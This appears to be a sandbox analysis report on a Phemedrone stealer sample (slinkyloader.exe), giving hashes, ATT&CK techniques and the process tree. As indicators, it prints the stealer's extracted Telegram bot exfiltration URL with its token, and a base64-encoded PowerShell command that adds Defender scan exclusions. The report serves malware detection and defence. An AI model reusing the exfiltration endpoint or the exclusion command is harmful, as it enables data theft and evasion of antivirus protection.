phemedrone | 3d0136aa999263e36d344cdf9699be53a96872a6cc6a9426bb8fd40133366c3b

Analysis

max time kernel
78s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
22-02-2025 09:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

slinkyloader.exe
Size

18.5MB
MD5

16c3dea94d76e543f411d4c39c86fd2d
SHA1

c746d6096bbfcf6e5fe1ee1f052ce87ebe2bf0a6
SHA256

3d0136aa999263e36d344cdf9699be53a96872a6cc6a9426bb8fd40133366c3b
SHA512

71d7a55c7bcbdcea7c814981e470a73da9d32d88810b4792e6f2530e8ae453cc06c82587eb5bda70d52d75295d643e8d531bbddd29d838d720757053b1d54726
SSDEEP

393216:svmY2qQIpv7b01MkOYFld5xRwTOu3Uci7OkKprTWlKDtwOju3SLKyiYGLgN:TFUb0WtOlXxG6gUceOkW8KDt5j6QKIP

Score

10^/10

phemedrone defense_evasion stealer

Malware Config

Extracted

Family

phemedrone

https://api.telegram.org/bot6407909076:AAGyVRw-4LZlh90gO_hIHntE1PGp-GHKDII/sendMessage?chat_id=-1002357854454

Signatures

Phemedrone
An information and wallet stealer written in C#.
stealer phemedrone
Phemedrone family
phemedrone

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	slinkyloader.exe

Executes dropped EXE 1 IoCs

pid	Process
4224	loader.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
928	powershell.exe
928	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	928	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4704 wrote to memory of 928	4704	slinkyloader.exe	88
PID 4704 wrote to memory of 928	4704	slinkyloader.exe	88
PID 4704 wrote to memory of 4224	4704	slinkyloader.exe	89
PID 4704 wrote to memory of 4224	4704	slinkyloader.exe	89

C:\Users\Admin\AppData\Local\Temp\slinkyloader.exe
"C:\Users\Admin\AppData\Local\Temp\slinkyloader.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAeAByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAdQBlACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAeAB2ACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:928
- C:\Users\Admin\AppData\Local\Temp\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\loader.exe"
  2⤵
  - Executes dropped EXE
  PID:4224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fpuqef11.55r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\loader.exe

Filesize
126KB

MD5
f231475bacd302b879efb7a01e2637dc

SHA1
5f13d4e11fa84d35d7fef1ae517546b356609ec6

SHA256
8f1e95d826c3e16ca5218cc7e44a608db4bdb42eff4a6fba6bd17709ef6ea800

SHA512
6094a1505e50b657184fc675e1d078d537fa76d74371ee8a928871e5b9302502b06582057c300752858e8242ee26b1687a2980d0778e6226ab8acdbe5af1ab5e

Download Submit
memory/928-16-0x00007FF9CEA80000-0x00007FF9CF541000-memory.dmp

Filesize
10.8MB

Download
memory/928-17-0x00007FF9CEA80000-0x00007FF9CF541000-memory.dmp

Filesize
10.8MB

Download
memory/928-23-0x000001F17FDB0000-0x000001F17FDD2000-memory.dmp

Filesize
136KB

Download
memory/928-28-0x00007FF9CEA80000-0x00007FF9CF541000-memory.dmp

Filesize
10.8MB

Download
memory/928-31-0x00007FF9CEA80000-0x00007FF9CF541000-memory.dmp

Filesize
10.8MB

Download
memory/4224-14-0x0000022C76480000-0x0000022C764A6000-memory.dmp

Filesize
152KB

Download
memory/4224-15-0x00007FF9CEA80000-0x00007FF9CF541000-memory.dmp

Filesize
10.8MB

Download
memory/4224-32-0x00007FF9CEA80000-0x00007FF9CF541000-memory.dmp

Filesize
10.8MB

Download
memory/4704-2-0x00007FF9CEA80000-0x00007FF9CF541000-memory.dmp

Filesize
10.8MB

Download
memory/4704-0-0x00007FF9CEA83000-0x00007FF9CEA85000-memory.dmp

Filesize
8KB

Download
memory/4704-1-0x0000000000B70000-0x0000000001DF2000-memory.dmp

Filesize
18.5MB

Download
memory/4704-33-0x00007FF9CEA80000-0x00007FF9CF541000-memory.dmp

Filesize
10.8MB

Download